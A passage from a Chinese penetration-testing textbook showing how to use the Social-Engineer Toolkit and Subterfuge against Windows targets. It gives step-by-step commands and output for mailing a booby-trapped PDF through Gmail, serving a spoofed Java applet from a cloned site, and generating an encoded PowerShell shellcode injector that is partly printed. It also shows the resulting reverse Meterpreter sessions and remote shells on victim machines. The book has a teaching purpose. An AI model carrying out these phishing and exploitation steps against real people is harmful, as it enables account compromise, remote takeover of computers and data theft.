前面介紹了社會工程學工具包(SET)的簡單使用。為了能幫助用戶更容易的理解社會工程學的強大功能。本節將介紹使用社會工程學工具包實施各種攻擊。
7.4.1 針對性釣魚攻擊向量
針對性釣魚攻擊向量通過構造特殊文件格式的漏洞進行滲透攻擊,如利用Adobe Reader 8.1.0(PDF閱讀器)的漏洞。實現釣魚攻擊向量主要通過發送郵件附件的方式,將包含滲透代碼的文件發送到目標主機。當目標主機的用戶打開郵件附件時,目標主機就會被攻陷和控制。
SET使用簡單郵件管理協議(SMTP)的開放代理(匿名的或者需認證的)、Gmail和Sendmail來發送郵件。SET同時也使用標准電子郵件和基於HTML格式的電子郵件來發動釣魚攻擊。
【實例7-1】使用SET實現釣魚攻擊向量,本例中通過發送存在滲透代碼的PDF格式文件到目標主機。具體操作步驟如下所示。
(1)啟動社會工程學。執行命令如下所示:
(2)在以上菜單中選擇社會工程學,編號為1,如下所示:
(3)在以上菜單中選擇攻擊類型。這里選擇釣魚攻擊向量,編號為1,如下所示:
set> 1
The Spearphishing module allows you to specially craft email messages and send
them to a large (or small) number of people with attached fileformat malicious
payloads. If you want to spoof your email address, be sure "Sendmail" is in-
stalled (apt-get install sendmail) and change the config/set_config SENDMAIL=OFF
flag to SENDMAIL=ON.
There are two options, one is getting your feet wet and letting SET do
everything for you (option 1), the second is to create your own FileFormat
payload and use it in your own attack. Either way, good luck and enjoy!
1) Perform a Mass Email Attack
2) Create a FileFormat Payload
3) Create a Social-Engineering Template
99) Return to Main Menu
以上輸出的信息顯示了釣魚攻擊向量中可用的工具載荷。
(4)這里選擇大規模電子郵件攻擊,編號為1,如下所示:
set:phishing>1
Select the file format exploit you want.
The default is the PDF embedded EXE.
********** PAYLOADS **********
1) SET Custom Written DLL Hijacking Attack Vector (RAR, ZIP)
2) SET Custom Written Document UNC LM SMB Capture Attack
3) Microsoft Windows CreateSizedDIBSECTION Stack Buffer Overflow
4) Microsoft Word RTF pFragments Stack Buffer Overflow (MS10-087)
5) Adobe Flash Player "Button" Remote Code Execution
6) Adobe CoolType SING Table "uniqueName" Overflow
7) Adobe Flash Player "newfunction" Invalid Pointer Use
8) Adobe Collab.collectEmailInfo Buffer Overflow
9) Adobe Collab.getIcon Buffer Overflow
10) Adobe JBIG2Decode Memory Corruption Exploit
11) Adobe PDF Embedded EXE Social Engineering
12) Adobe util.printf() Buffer Overflow
13) Custom EXE to VBA (sent via RAR) (RAR required)
14) Adobe U3D CLODProgressiveMeshDeclaration Array Overrun
15) Adobe PDF Embedded EXE Social Engineering (NOJS)
16) Foxit PDF Reader v4.1.1 Title Stack Buffer Overflow
17) Apple QuickTime PICT PnSize Buffer Overflow
18) Nuance PDF Reader v6.0 Launch Stack Buffer Overflow
19) Adobe Reader u3D Memory Corruption Vulnerability
20) MSCOMCTL ActiveX Buffer Overflow (ms12-027)
set:payloads>8
輸出的信息顯示了釣魚攻擊向量中可以使用的文件格式,默認是PDF格式。
(5)這里利用Abobe PDF的Collab.collectEmaillnfo漏洞,所以選擇編號8,如下所示:
以上信息顯示了攻擊的方式。
(6)這里選擇第2個模塊,如下所示:
set:payloads>2
set> IP address for the payload listener:192.168.41.156 #設置攻擊主機的地址
set:payloads> Port to connect back on [443]: #設置攻擊主機的端口號
[-] Defaulting to port 443…
[-] Generating fileformat exploit…
[*] Payload creation complete.
[*] All payloads get sent to the /root/.set/template.pdf directory
[-] As an added bonus, use the file-format creator in SET to create your attachment.
Right now the attachment will be imported with filename of'template.
whatever'
Do you want to rename the file?
example Enter the new filename: moo.pdf
1\. Keep the filename, I don't care.
2\. Rename the file, I want to be cool.
從以上輸出信息中,可以看到攻擊載荷創建完成。所有攻擊載荷保存在/root/.set/中,文件名為template.pdf。
(7)這里選擇是否重命名該文件。這里使用默認的PDF文件template.pdf,輸入編號1,如下所示:
set:phishing>1
[*] Keeping the filename and moving on.
Social Engineer Toolkit Mass E-Mailer
There are two options on the mass e-mailer, the first would
be to send an email to one individual person. The second option
will allow you to import a list and send it to as many people as
you want within that list.
What do you want to do:
1\. E-Mail Attack Single Email Address
2\. E-Mail Attack Mass Mailer
99\. Return to main menu.
輸出信息顯示了郵件攻擊的方式。
(8)這里選擇針對單一郵件地址進行攻擊,輸入編號1,如下所示:
set:phishing>1
Do you want to use a predefined template or craft
a one time email template.
1\. Pre-Defined Template
2\. One-Time Use Email Template
輸出的信息提示是否要使用一個預先定義的模塊。SET允許攻擊者創建不同的模板,並且在使用時支持動態導入。
(9)這里使用預先定義的模塊,輸入編號1,如下所示:
set:phishing>1
[-] Available templates:
1: Have you seen this?
2: How long has it been?
3: Strange internet usage from your computer
4: Status Report
5: New Update
6: Computer Issue
7: Dan Brown's Angels & Demons
8: Order Confirmation
9: WOAAAA!!!!!!!!!! This is crazy…
10: Baby Pics
輸出的信息顯示了所有可用的模塊。
(10)這里選擇使用預先定義的SET郵件模板Status Report,輸入編號4,如下所示:
set:phishing>4
set:phishing> Send email to:********@126.com #設置發送郵件的目的地址
1\. Use a gmail Account for your email attack.
2\. Use your own server or open relay
輸出信息顯示了給目標主機發送地址的方法。
(11)這里選擇使用Gmail郵箱賬號,輸入編號1,如下所示:
set:phishing>1
set:phishing> Your gmail email address:***********@gmail.com #輸入Gmail郵件賬戶
set:phishing> The FROM NAME user will see: :
Email password: #輸入郵箱密碼
set:phishing> Flag this message/s as high priority? [yes|no]:yes
[*] SET has finished delivering the emails
set:phishing> Setup a listener [yes|no]:
從輸出信息中,可以看到SET傳遞郵件設置完成。此時就可以使用該Gmail賬戶,給輸入的目的郵件地址(**@126.com)發送惡意文件。最后,提示是否設置一個監聽。
(12)這里設置一個監聽,用來監聽攻擊載荷反彈連接。當SET啟動Metasploit時,它已經配置了所有必需的選項,將開始處理攻擊主機的IP反向連接到443端口,如下所示:
輸出的信息顯示了監聽攻擊載荷的信息。當目標主機打開發送的惡意郵件時,將會自動的連接到攻擊主機192.168.41.156:443。
此時攻擊主機可以將前面創建的template.pdf文件,通過電子郵件發送給目標。當目標用戶打開它並認為是合法的PDF文件時,此時目標主機被立即控制。在攻擊主機上,將看到如下所示的信息:
msf exploit(handler) >
[*] Sending stage (769024 bytes) to 192.168.41.146
[*] Meterpreter session 1 opened (192.168.41.156:443 -> 192.168.41.146:1083) at 2014-06-07 11:17:11 +0800
輸出的信息表示,被攻擊主機的地址是192.168.41.146。此時,攻擊主機與目標主機成功的建立了一個會話,如下所示:
從輸出的信息中,可以看到有一個會話。該會話中,描述了目標主機的相關信息。如操作系統類型為win32、主機名為AA-886OKJM26FSW、登錄的用戶為Test及主機IP地址。激活該會話后,就可以在目標主機上進行任何操作。也就說相當於控制了目標主機。激活會話,如下所示:
msf exploit(handler) > sessions -i 1
[*] Starting interaction with 1…
meterpreter >
從輸出的信息中可以看到會話1被成功激活。此時就可以在meterpreter命令行下,執行各種命令。如登錄目標主機的Shell,如下所示:
meterpreter > shell
[-] Failed to spawn shell with thread impersonation. Retrying without it.
Process 792 created.
Channel 2 created.
Microsoft Windows XP [版本 5.1.2600]
(C) 版權所有 1985-2001 Microsoft Corp.
C:\Documents and Settings\Test\桌面>
輸出信息顯示為C:\Documents and Settings\Test\桌面>,表示成功登錄到目標主機。此時相當於是以Test用戶的身份,在目標主機中進行操作。查看當前目錄中的文件夾,如下所示:
C:\Documents and Settings\Test\桌面>dir #列出目錄中的所有文件
dir
驅動器C中的卷沒有標簽
卷的序列號是 1806-07F4
C:\Documents and Settings\Test\桌面 的目錄
2014-06-07 11:11 <DIR> .
2014-06-07 11:11 <DIR> ..
2014-05-06 19:46 54 111.txt
2014-06-07 11:00 57,364,480 AdbeRdr810_zh_CN.msi
2014-06-06 16:01 46,844 JEdB2oma7AEGV7G.pdf
2014-06-06 18:54 6,619 template.pdf
4 個文件 57,417,997 字節
2 個目錄 38,359,552,000 可用字節
輸出的信息顯示了目標主機桌面上的所有文件及目錄。還可以查看文件的內容,如下所示:
C:\Documents and Settings\Test\桌面>type 111.txt #查看文件內容
type 111.txt
Ethernet adapter 本地連接:
Connection-specific DNS Suffix . : localdomain
IP Address. . . . . . . . . . . . : 192.168.41.146
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 192.168.41.2
輸出的信息顯示了111.txt文件的內容。
7.4.2 Web攻擊向量
Web攻擊向量會特意構造出一些對目標而言是可信且具有誘惑力的網頁。SET中的Web攻擊向量可以復制出和實際運行的可信站點,看起來和網頁完全一樣。這樣,目標用戶以為自己正在訪問一個合法的站點,而不會想到是被攻擊。本小節將介紹使用SET實現Web攻擊向量。
【實例7-2】下面使用Java applet攻擊實現Web攻擊向量。具體操作步驟如下所示。
Java applet攻擊引入了惡意Java applet程序進行智能化的瀏覽器檢查,確保applet能在目標瀏覽器中正確運行,同時也能在目標主機上運行攻擊載荷。Java applet攻擊並不被認為是Java本身的漏洞,只是當受攻擊目標瀏覽惡意網頁時,網頁會彈出一個警告。該警告信息詢問是否需要運行一個不被信任的Java applet程序。由於Java允許用戶對一個apple選擇任意名字進行簽名,用戶可以為它的發布者定義為Google和Microsoft等。這樣,很容易使一些人遭受攻擊。
(1)啟動社會工程學。執行命令如下所示:
root@kali:~# setoolkit
Select from the menu:
1) Social-Engineering Attacks
2) Fast-Track Penetration Testing
3) Third Party Modules
4) Update the Metasploit Framework
5) Update the Social-Engineer Toolkit
6) Update SET configuration
7) Help, Credits, and About
99) Exit the Social-Engineer Toolkit
set>
以上輸出信息顯示了所有的攻擊菜單列表。
(2)這里選擇社會工程學攻擊,輸入編號1。將顯示如下所示的信息:
輸出的信息顯示了社會工程學中,可使用的攻擊列表。
(3)這里選擇Web攻擊向量,輸入編號2。將顯示如下所示的信息:
set> 2
The Web Attack module is a unique way of utilizing multiple web-based attacks in order to compromise the intended victim.
The Java Applet Attack method will spoof a Java Certificate and deliver a metasploit based payload. Uses a customized java applet created by Thomas Werth to deliver the payload.
The Metasploit Browser Exploit method will utilize select Metasploit browser exploits through an iframe and deliver a Metasploit payload.
The Credential Harvester method will utilize web cloning of a web- site that has a username and password field and harvest all the information posted to the website.
The TabNabbing method will wait for a user to move to a different tab, then refresh the page to something different.
The Web-Jacking Attack method was introduced by white_sheep, emgent. This method utilizes iframe replacements to make the highlighted URL link to appear legitimate however when clicked a window pops up then is replaced with the malicious link. You can edit the link replacement settings in the set_config if its too slow/fast.
The Multi-Attack method will add a combination of attacks through the web attack menu. For example you can utilize the Java Applet, Metasploit Browser, Credential Harvester/Tabnabbing all at once to see which is successful.
1) Java Applet Attack Method
2) Metasploit Browser Exploit Method
3) Credential Harvester Attack Method
4) Tabnabbing Attack Method
5) Web Jacking Attack Method
6) Multi-Attack Web Method
7) Full Screen Attack Method
99) Return to Main Menu
set:webattack>
輸出的信息顯示了Web攻擊向量中,可使用的攻擊方法列表。
(4)這里選擇Java applet攻擊方法,輸入編號1。將顯示如下所示的信息:
set:webattack>1
The first method will allow SET to import a list of pre-defined web
applications that it can utilize within the attack.
The second method will completely clone a website of your choosing
and allow you to utilize the attack vectors within the completely
same web application you were attempting to clone.
The third method allows you to import your own website, note that you
should only have an index.html when using the import website
functionality.
1) Web Templates
2) Site Cloner
3) Custom Import
99) Return to Webattack Menu
set:webattack>
輸出的信息顯示了Java applet攻擊的菜單列表。一般情況下,使用前兩種。其中第一種(Web模塊)是社會工程學創建一個一般的網頁;第二種(復制網站)是使用已存在的網頁作為一個模塊,來攻擊網頁。
(5)這里選擇復制網站,輸入編號2。將顯示如下所示的信息:
以上輸出的信息顯示了可使用的攻擊載荷。
(6)這里選擇Windows Reverse_TCP Meterpreter攻擊載荷,建立一個反向TCP連接。輸入編號2,將顯示如下所示的信息:
以上輸出的信息是攻擊主機的相關配置。這時候,當目標主機通過瀏覽器訪問攻擊主機時將會被攻擊。
(7)此時在目標主機上訪問攻擊主機,將出現如圖7.20所示的界面。
圖7.20 警告對話框
(8)從該界面可以看到有一個警告對話框,詢問是否要運行該程序。該對話框就是Java applet彈出的。從名稱中可以看到,是Verified Trusted and secure(VERIFIED)。現在單擊“運行”按鈕,攻擊主機將會創建多個遠程會話,如下所示:
[*] Sending stage (769536 bytes) to 192.168.6.106
[*] Meterpreter session 1 opened (192.168.6.103:443 -> 192.168.6.106:50729) at 2014-07-19 12:23:24 +0800
[*] Meterpreter session 2 opened (192.168.6.103:21 -> 192.168.6.106:50728) at 2014-07-19 12:23:25 +0800
[*] Meterpreter session 3 opened (192.168.6.103:22 -> 192.168.6.106:50727) at 2014-07-19 12:23:25 +0800
[*] Meterpreter session 4 opened (192.168.6.103:53 -> 192.168.6.106:50730) at 2014-07-19 12:23:25 +0800
msf exploit(handler) >
從以上輸出的信息中,可以看到創建了4個會話。此時可以使用sessions命令查看創建的會話。
(9)查看會話。執行命令如下所示:
從輸出的信息中,可以看到攻擊主機使用不同的端口創建了四個會話。此時可以選擇啟動任何一個會話,獲取到遠程主機的命令行Shell。
(10)啟動會話1,並獲取遠程主機的Shell。執行命令如下所示:
msf exploit(handler) > sessions -i 1
[*] Starting interaction with 1…
meterpreter > shell
Process 5056 created.
Channel 1 created.
Microsoft Windows [版本 6.1.7601]
(c) 2009 Microsoft Corporation
C:\Users\Administrator\Desktop>
從輸出的信息中,可以看到成功的獲取到一個遠程Shell。
7.4.3 PowerShell攻擊向量
在社會工程學中,使用基於Java的PowerShell攻擊向量是非常重要的。如果目標主機沒有運行Java,則不能欺騙它訪問攻擊主機社會工程學的頁面,將不能進行攻擊。所以需要使用另一種方法實現,就是向目標主機發送病毒文件。使用PowerShell攻擊向量可以創建PowerShell文件,並將創建好的文件發送給目標。當目標運行時,就可以獲取一個遠程連接。本小節將介紹PowerShell攻擊向量。
【實例7-3】使用PowerShell攻擊向量創建PowerShell文件,並將該文件發送給目標主機。具體操作步驟如下所示。
(1)啟動社會工程學。執行命令如下所示:
Select from the menu:
1) Social-Engineering Attacks
2) Fast-Track Penetration Testing
3) Third Party Modules
4) Update the Metasploit Framework
5) Update the Social-Engineer Toolkit
6) Update SET configuration
7) Help, Credits, and About
99) Exit the Social-Engineer Toolkit
set>
(2)選擇社會工程學,輸入編號1,如下所示:
set> 1
Select from the menu:
1) Spear-Phishing Attack Vectors
2) Website Attack Vectors
3) Infectious Media Generator
4) Create a Payload and Listener
5) Mass Mailer Attack
6) Arduino-Based Attack Vector
7) SMS Spoofing Attack Vector
8) Wireless Access Point Attack Vector
9) QRCode Generator Attack Vector
10) Powershell Attack Vectors
11) Third Party Modules
99) Return back to the main menu.
set>
(3)選擇PowerShell攻擊向量,輸入編號10。將顯示如下所示的信息:
set> 10
The Powershell Attack Vector module allows you to create PowerShell specific attacks. These attacks will allow you to use PowerShell which is available by default in all operating systems Windows Vista and above. PowerShell provides a fruitful landscape for deploying payloads and performing functions that do not get triggered by preventative technologies.
1) Powershell Alphanumeric Shellcode Injector
2) Powershell Reverse Shell
3) Powershell Bind Shell
4) Powershell Dump SAM Database
99) Return to Main Menu
set:powershell>
(4)選擇PowerShell字母代碼注入,輸入編號1。將顯示如下所示的信息:
輸出的信息顯示了攻擊主機的配置信息。此時已經成功啟動了攻擊載荷,等待目標主機的連接。以上設置完成后,將會在/root/.set/reports/powershell/目錄下創建了一個滲透攻擊代碼文件。該文件是一個文本文件,其文件名為x86_powershell_injection.txt。
(5)此時再打開一個終端窗口,查看滲透攻擊文件的內容,如下所示:
root@kali:~# cd /root/.set/reports/powershell/
root@kali:~/.set/reports/powershell# ls
powershell.rc x86_powershell_injection.txt
root@kali:~/.set/reports/powershell# cat x86_powershell_injection.txt
powershell -nop -windows hidden -noni -enc JAAxACAAPQAgACcAJABjACAAPQAgACcAJwBb
AEQAbABsAEkAbQBwAG8AcgB0ACgAIgBrAGUAcgBuAGUAbAAzADIALgBkAGwAbAAiACkAXQBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABJAG4AdABQAHQAcgAgAFYAaQByAHQAdQBhAGwAQQBsAGwAbwBjACgASQBuAHQAUAB0AHIAIABsAHAAQQBkAGQAcgBlAHMAcwAsACAAdQBpAG4AdAAgAGQAdwBTAGkAegBlACwAIAB1AGkAbgB0ACAAZgBsAEEAbABsAG8AYwBhAHQAaQBvAG4AVAB5AHAAZQAsACAAdQBpAG4AdAAgAGYAbABQAHIAbwB0AGUAYwB0ACkAOwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgBrAGUAcgBuAGUAbAAzADIALgBkAGwAbAAiACkAXQBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABJAG4AdABQAHQAcgAgAEMAcgBlAGEAdABlAFQAaAByAGUAYQBkACgASQBuAHQAUAB0AHIAIABsAHAAVABoAHIAZQBhAGQAQQB0AHQAcgBpAGIAdQB0AGUAcwAsACAAdQBpAG4AdAAgAGQAdwBTAHQAYQBjAGsAUwBpAHoAZQAsACAASQBuAHQAUAB0AHIAIABsAHAAUwB0AGEAcgB0AEEAZABkAHIAZQBzAHMALAAgAEkAbgB0AFAAdAByACAAbABwAFAAYQByAGEAbQBlAHQAZQByACwAIAB1AGkAbgB0ACAAZAB3AEMAcgBlAGEAdABpAG8AbgBGAGwAYQBnAHMALAAgAEkAbgB0AFAAdAByACAAbABwAFQAaAByAGUAYQBkAEkAZAApADsAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAbQBzAHYAYwByAHQALgBkAGwAbAAiACkAXQBwA
以上信息就是x86_powershell_injection.txt文件中的內容。從第一行可以看出,該文件是運行powershell命令。如果目標主機運行這段代碼,將會與Kali主機打開一個遠程會話。
(6)此時,可以將x86_powershell_injection.txt文件中的內容復制到目標主機(Windows 7)的DOS下,然后運行。Kali主機將會顯示如下所示的信息:
[*] Sending stage (769536 bytes) to 192.168.6.106
[*] Meterpreter session 1 opened (192.168.6.103:443 -> 192.168.6.106:51097) at 2014-07-18 15:36:00 +0800
從輸出的信息,可以看到成功打開了一個Meterpreter會話。
(7)啟動會話1,並打開一個遠程Shell。執行命令如下所示:
msf exploit(handler) > sessions -i 1
[*] Starting interaction with 1…
meterpreter > shell
Process 636 created.
Channel 1 created.
Microsoft Windows [版本 6.1.7601]
(c) 2009 Microsoft Corporation
C:\Users\Administrator>
從輸出的信息中,可以看到成功的獲取到一個遠程Shell。
注意:在以上例子中,通過復制粘貼的方式將PowerShell文本文件發送給了目標,並執行它來獲取遠程Shell。但是實際情況下,這是不可能的。所以,需要將創建的PowerShell文本文件轉換成可執行的.exe文件或批處理文件.bat。用戶也可以使用前面章節中介紹的Veil程序,直接創建.bat文件。
7.4.4 自動化中間人攻擊工具Subterfuge
Subterfuge是一款用Python寫的中間人攻擊框架,它集成了一個前端界面,並收集了一些著名的可用於中間人攻擊的安全工具。成功運行Subterfuge需要Django和scapy等模塊。在Subterfuge安裝包的dependencies目錄下,提供了Subterfuge所需的Python模塊。本小節將介紹Subterfuge工具的安裝和使用。
【實例7-4】安裝Subterfuge工具。具體操作步驟如下所示。
(2)解壓縮Subterfuge軟件包。執行命令如下所示:
root@kali:~# tar zxvf subterfuge_packages.tar.gz
(3)安裝Subterfuge軟件包。執行命令如下所示:
root@kali:~# cd subterfuge/
root@kali:~/subterfuge# python install.py
執行以上命令后將顯示如圖7.21所示的界面。
圖7.21 安裝Subterfuge界面
(4)在該界面選擇Full Install With Depencencies選項,並單擊Install按鈕。安裝完成后,將顯示如圖7.22所示的界面。
圖7.22 安裝完成
(5)從該界面可以看到彈出一個小對話框,顯示Subterfuge安裝完成。此時,單擊Finish按鈕就可以完成安裝。
【實例7-5】使用Subterfuge工具。具體操作步驟如下所示。
(1)啟動Suberfuge工具。執行命令如下所示:
root@kali:~# subterfuge
執行以上命令后,將顯示如下所示的信息:
Subterfuge courtesy of r00t0v3rr1d3 & 0sm0s1z
Validating models…
0 errors found
Django version 1.3.1, using settings 'subterfuge.settings'
Development server is running at http://127.0.0.1:80/
Quit the server with CONTROL-C.
(2)打開瀏覽器,並輸入127.0.0.1:80訪問Subterfuge的主界面,如圖7.23所示。
圖7.23 Subterfuge主界面
(3)從該界面可以看到顯示了一個Modules和Settings菜單,並且還有一個Start按鈕。
在Subterfuge界面的Modules菜單下,可以選擇所有提供的不同模塊進行攻擊。使用Settings菜單,可以修改Subterfuge一些功能,並且啟動攻擊。下面使用HTTP Code Injection模塊,實現瀏覽器攻擊。
【實例7-6】演示使用Subterfuge的HTTP Code Injection模塊攻擊瀏覽器。具體操作步驟如下所示。
(1)在圖7.23中,單擊Modules菜單,將顯示如圖7.24所示的界面。
圖7.24 所有攻擊模塊
(2)在該界面選擇HTTP Code Injection模塊,將顯示如圖7.25所示的界面。
圖7.25 設置HTTP Code Injection模塊
(3)在該界面設置HTTP Code Injection模塊的插件信息。這里使用默認設置,並單擊Apply按鈕,將顯示如圖7.26所示的界面。
圖7.26 加載Metasploit框架
(4)該界面是Subterfuge自動打開的一個Shell窗口,將開始加載Metasploit滲透攻擊模塊,如圖7.27所示。
圖7.27 加載滲透攻擊模塊
(5)從該界面可以看到加載了好多個滲透攻擊模塊,加載完后,將顯示如圖7.28所示的界面。
圖7.28 模塊加載完成
(6)從該界面可以看到有一條Done,found 18 exploit modules信息,表示Subterfuge找到了18個滲透攻擊模塊。當某個用戶連接Kali時,將會使用其中的一個模塊。當目標主機訪問Kali上的Subterfuge時,將會自動啟動大量的滲透攻擊到目標主機的瀏覽器上。此時,Kali系統上將顯示如圖7.29所示的界面。
圖7.29 訪問攻擊主機
(7)以上顯示的信息表示目標主機192.168.6.113訪問了攻擊主機的Subterfuge。此時可以查看打開的會話,如圖7.30所示。
圖7.30 打開的會話
(8)從該界面可以看到,成功的打開了三個會話。現在可以啟動任何一個會話,並打開目標系統的Shell,如圖7.31所示。
圖7.31 Shell窗口
(9)從該界面可以看到成功連接到了一個遠程會話。